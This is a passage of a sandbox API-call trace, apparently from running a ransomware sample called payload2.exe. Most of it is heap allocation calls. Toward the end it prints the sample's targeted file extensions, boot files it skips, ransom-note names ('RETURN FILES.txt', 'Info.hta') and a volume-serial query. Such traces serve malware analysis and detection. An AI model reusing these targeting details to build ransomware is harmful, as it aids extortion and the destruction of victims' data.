0x259dc8 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259de0 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x259fd0 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259df8 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259e10 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259e28 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259e40 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259e58 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259e70 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259e88 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259ea0 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259eb8 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259ed0 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259ee8 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259f00 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259f18 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x259f30 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259f48 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259f60 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259f78 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x259f90 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c470 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c488 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c4a0 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x259fe0 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x6) returned 0x259ff0 [0031.263] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c4b8 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c4d0 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c4e8 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c500 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c518 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c530 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c548 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c560 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c578 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c590 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c5a8 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c5c0 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c5d8 [0031.264] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2591a0, Size=0x400) returned 0x2591a0 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c5f0 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c608 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c620 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c638 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c650 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c668 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c680 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c698 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c6b0 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c6c8 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a000 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c6e0 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26c6f8 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c710 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c728 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c740 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c758 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26c770 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c788 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c7a0 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c7b8 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c7d0 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c7e8 [0031.264] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c800 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c818 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c830 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a010 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c870 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c888 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c8a0 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c8b8 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c8d0 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c8e8 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c900 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c918 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c930 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26c948 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c960 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26c978 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c990 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c9a8 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c9c0 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c9d8 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26c9f0 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26ca08 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ca20 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ca38 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ca50 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ca68 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ca80 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ca98 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cab0 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cac8 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cae0 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26caf8 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cb10 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cb28 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cb40 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cb58 [0031.265] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cb70 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cb88 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cba0 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x10) returned 0x26cbb8 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x12) returned 0x255f08 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cbd0 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cbe8 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cc00 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cc18 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cc30 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cc70 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cc88 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cca0 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ccb8 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ccd0 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cce8 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cd00 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cd18 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cd30 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cd48 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cd60 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cd78 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cd90 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cda8 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cdc0 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26cdd8 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26cdf0 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26ce08 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xe) returned 0x26ce20 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26ce38 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a020 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ce50 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a030 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ce68 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ce80 [0031.266] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26ce98 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26ceb0 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26cec8 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cee0 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26cef8 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cf10 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cf28 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26cf40 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cf58 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26cf70 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xc) returned 0x26cf88 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cfa0 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0x8) returned 0x25a040 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cfb8 [0031.267] RtlAllocateHeap (HeapHandle=0x220000, Flags=0x0, Size=0xa) returned 0x26cfd0 [0031.267] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2591a0, Size=0x800) returned 0x26d458 [0031.267] lstrlenW (lpString=".1cd;.3ds;.3fr;.3g2;.3gp;.7z;.accda;.accdb;.accdc;.accde;.accdt;.accdw;.adb;.adp;.ai;.ai3;.ai4;.ai5;.ai6;.ai7;.ai8;.anim;.arw;.as;.asa;.asc;.ascx;.asm;.asmx;.asp;.aspx;.asr;.asx;.avi;.avs;.backup;.bak;.bay;.bd;.bin;.bmp;.bz2;.c;.cdr;.cer;.cf;.cfc;.cfm;.cfml;.cfu;.chm;.cin;.class;.clx;.config;.cpp;.cr2;.crt;.crw;.cs;.css;.csv;.cub;.dae;.dat;.db;.dbf;.dbx;.dc3;.dcm;.dcr;.der;.dib;.dic;.dif;.divx;.djvu;.dng;.doc;.docm;.docx;.dot;.dotm;.dotx;.dpx;.dqy;.dsn;.dt;.dtd;.dwg;.dwt;.dx;.dxf;.edml;.efd;.elf;.emf;.emz;.epf;.eps;.epsf;.epsp;.erf;.exr;.f4v;.fido;.flm;.flv;.frm;.fxg;.geo;.gif;.grs;.gz;.h;.hdr;.hpp;.hta;.htc;.htm;.html;.icb;.ics;.iff;.inc;.indd;.ini;.iqy;.j2c;.j2k;.java;.jp2;.jpc;.jpe;.jpeg;.jpf;.jpg;.jpx;.js;.jsf;.json;.jsp;.kdc;.kmz;.kwm;.lasso;.lbi;.lgf;.lgp;.log;.m1v;.m4a;.m4v;.max;.md;.mda;.mdb;.mde;.mdf;.mdw;.mef;.mft;.mfw;.mht;.mhtml;.mka;.mkidx;.mkv;.mos;.mov;.mp3;.mp4;.mpeg;.mpg;.mpv;.mrw;.msg;.mxl;.myd;.myi;.nef;.nrw;.obj;.odb;.odc;.odm;.odp;.ods;.oft;.one;.onepkg;.onetoc2;.opt;.oqy;.orf;.p12;.p7b;.p7c;.pam;.pbm;.pct;.pcx;.pdd;.pdf;.pdp;.pef;.pem;.pff;.pfm;.pfx;.pgm;.php;.php3;.php4;.php5;.phtml;.pict;.pl;.pls;.pm;.png;.pnm;.pot;.potm;.potx;.ppa;.ppam;.ppm;.pps;.ppsm;.ppt;.pptm;.pptx;.prn;.ps;.psb;.psd;.pst;.ptx;.pub;.pwm;.pxr;.py;.qt;.r3d;.raf;.rar;.raw;.rdf;.rgbe;.rle;.rqy;.rss;.rtf;.rw2;.rwl;.safe;.sct;.sdpx;.shtm;.shtml;.slk;.sln;.sql;.sr2;.srf;.srw;.ssi;.st;.stm;.svg;.svgz;.swf;.tab;.tar;.tbb;.tbi;.tbk;.tdi;.tga;.thmx;.tif;.tiff;.tld;.torrent;.tpl;.txt;.u3d;.udl;.uxdc;.vb;.vbs;.vcs;.vda;.vdr;.vdw;.vdx;.vrp;.vsd;.vss;.vst;.vsw;.vsx;.vtm;.vtml;.vtx;.wb2;.wav;.wbm;.wbmp;.wim;.wmf;.wml;.wmv;.wpd;.wps;.x3f;.xl;.xla;.xlam;.xlk;.xlm;.xls;.xlsb;.xlsm;.xlsx;.xlt;.xltm;.xltx;.xlw;.xml;.xps;.xsd;.xsf;.xsl;.xslt;.xsn;.xtp;.xtp2;.xyze;.xz;.zip;") returned 1776 [0031.267] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26b450 | out: hHeap=0x220000) returned 1 [0031.267] lstrlenW (lpString="") returned 0 [0031.267] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26dd98 | out: hHeap=0x220000) returned 1 [0031.267] lstrlenW (lpString=".html") returned 5 [0031.267] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234758, Size=0x8) returned 0x234758 [0031.267] lstrlenW (lpString=".html") returned 5 [0031.267] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26dd98 | out: hHeap=0x220000) returned 1 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26ddc8, Size=0x20) returned 0x234378 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234378, Size=0x40) returned 0x256a88 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256a88, Size=0x80) returned 0x27b458 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a0b0, Size=0x8) returned 0x25a0c0 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a0c0, Size=0x10) returned 0x26ddc8 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26ddc8, Size=0x20) returned 0x234350 [0031.268] lstrlenW (lpString="boot.ini;bootfont.bin;ntldr;ntdetect.com;io.sys;") returned 48 [0031.268] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b458 | out: hHeap=0x220000) returned 1 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26ddf8, Size=0x20) returned 0x255938 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x255938, Size=0x40) returned 0x256a88 [0031.268] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0031.268] lstrlenW (lpString="RETURN FILES.txt") returned 16 [0031.268] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x256a88 | out: hHeap=0x220000) returned 1 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26ddf8, Size=0x20) returned 0x255938 [0031.268] lstrlenW (lpString="Info.hta") returned 8 [0031.268] lstrlenW (lpString="Info.hta") returned 8 [0031.268] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x255938 | out: hHeap=0x220000) returned 1 [0031.268] GetModuleFileNameW (in: hModule=0x0, lpFilename=0x28d448, nSize=0x7fff | out: lpFilename="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Desktop\\payload2.exe" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\desktop\\payload2.exe")) returned 0x32 [0031.268] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x28d448 | out: hHeap=0x220000) returned 1 [0031.268] lstrlenW (lpString="payload2.exe") returned 12 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234350, Size=0x40) returned 0x256a88 [0031.268] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26ddf8, Size=0x20) returned 0x234350 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26ddf8, Size=0x20) returned 0x2558e8 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x2558e8, Size=0x40) returned 0x256ad0 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256ad0, Size=0x80) returned 0x27b458 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x26b450 [0031.269] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Explorer\\User Shell Folders") returned 69 [0031.269] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26b450 | out: hHeap=0x220000) returned 1 [0031.269] ExpandEnvironmentStringsW (in: lpSrc="%windir%;", lpDst=0x28d448, nSize=0x8000 | out: lpDst="C:\\Windows;") returned 0xc [0031.269] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x29d450 | out: hHeap=0x220000) returned 1 [0031.269] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x28d448 | out: hHeap=0x220000) returned 1 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a0c0, Size=0x8) returned 0x25a0b0 [0031.269] lstrlenW (lpString="%windir%;") returned 9 [0031.269] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x234350 | out: hHeap=0x220000) returned 1 [0031.269] lstrlenW (lpString="C:\\Windows;") returned 11 [0031.269] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27d440 | out: hHeap=0x220000) returned 1 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26de10, Size=0x20) returned 0x234350 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x234350, Size=0x40) returned 0x256ad0 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x256ad0, Size=0x80) returned 0x27b458 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x27b458, Size=0x100) returned 0x26b450 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a0f0, Size=0x8) returned 0x25a100 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a100, Size=0x10) returned 0x26de58 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26de58, Size=0x20) returned 0x234350 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a0c0, Size=0x8) returned 0x25a100 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a0d0, Size=0x8) returned 0x25a0c0 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a0f0, Size=0x8) returned 0x25a110 [0031.269] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a110, Size=0x10) returned 0x26df00 [0031.270] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26df00, Size=0x20) returned 0x2558e8 [0031.270] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a100, Size=0x10) returned 0x26df00 [0031.270] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a0c0, Size=0x10) returned 0x26df30 [0031.270] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a100, Size=0x8) returned 0x25a0f0 [0031.270] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a120, Size=0x8) returned 0x25a130 [0031.270] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26df00, Size=0x20) returned 0x255848 [0031.270] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26df30, Size=0x20) returned 0x255960 [0031.270] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a140, Size=0x8) returned 0x25a150 [0031.270] lstrlenW (lpString="doc(.doc;.docx;.pdf;.xls;.xlsx;.ppt;)arc(.zip;.rar;.bz2;.7z;)dbf(.dbf;)1c8(.1cd;)jpg(.jpg;)") returned 91 [0031.270] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26b450 | out: hHeap=0x220000) returned 1 [0031.270] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26dfa8, Size=0x20) returned 0x255988 [0031.270] ExpandEnvironmentStringsW (in: lpSrc="%systemdrive%", lpDst=0x27d440, nSize=0x7fff | out: lpDst="C:") returned 0x3 [0031.270] lstrlenW (lpString="C:\\") returned 3 [0031.270] GetVolumeInformationW (in: lpRootPathName="C:\\", lpVolumeNameBuffer=0x0, nVolumeNameSize=0x3, lpVolumeSerialNumber=0x18fcac, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0, nFileSystemNameSize=0x0 | out: lpVolumeNameBuffer=0x0, lpVolumeSerialNumber=0x18fcac*=0x9c354b42, lpMaximumComponentLength=0x0, lpFileSystemFlags=0x0, lpFileSystemNameBuffer=0x0) returned 1 [0031.270] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27d440 | out: hHeap=0x220000) returned 1 [0031.271] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a180, Size=0x82) returned 0x26b9b8 [0031.271] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x25a1a0, Size=0x100) returned 0x26ba48 [0031.271] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26b9b8, Size=0x104) returned 0x26bc70 [0031.271] RtlReAllocateHeap (Heap=0x220000, Flags=0x0, Ptr=0x26ba48, Size=0x200) returned 0x26bd80 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x25a190 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26bd80 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26b5d0 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b5f0 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e008 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x27b678 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e038 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26bc70 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26e020 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26bb50 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26b5e8 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26bbe0 | out: hHeap=0x220000) returned 1 [0031.272] HeapFree (in: hHeap=0x220000, dwFlags=0x0, lpMem=0x26b600 | out: hHeap=0x220000) returned 1 [0031.272] 